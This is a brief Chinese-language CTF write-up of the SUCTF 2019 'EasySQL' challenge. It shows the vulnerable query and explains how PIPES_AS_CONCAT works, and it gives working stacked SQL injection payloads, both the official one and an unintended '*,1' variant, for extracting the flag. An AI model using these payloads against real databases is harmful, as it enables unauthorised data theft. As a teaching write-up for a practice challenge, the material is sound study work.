[SUCTF 2019]EasySQL
阿新 • • 發佈:2020-12-30
[SUCTF 2019]EasySQL
一開啟就是一個注入頁面
嘗試了一下常規的注入,都不能很好的注入。
那就嘗試一下使用堆疊注入,
關鍵的查詢程式碼是 select $post[‘query’]||flag from Flag
官方給的 payload 是
1;set sql_mode=PIPES_AS_CONCAT;select 1
拼接一下就是
select 1;set sql_mode=PIPES_AS_CONCAT;select 1||flag from Flag
關於 sql_mode : 它定義了 MySQL 應支援的 SQL 語法,以及應該在資料上執行何種確認檢查.
PIPES_AS_CONCAT 將 || 視為字串的連線操作符而非 “或” 運算子
關於 sql_mode 更多可以檢視這個連結 : MySQL sql_mode 說明
還有就是這個模式下進行查詢的時候,使用字母連線會報錯,使用數字連線才會查詢出資料,因為這個 || 相當於是將 select 1 和 select flag from flag 的結果拼接在一起.
關於非預期解 : *,1
拼接一下,不難理解 : select *,1||flag from Flag
等同於 select *,1 from Flag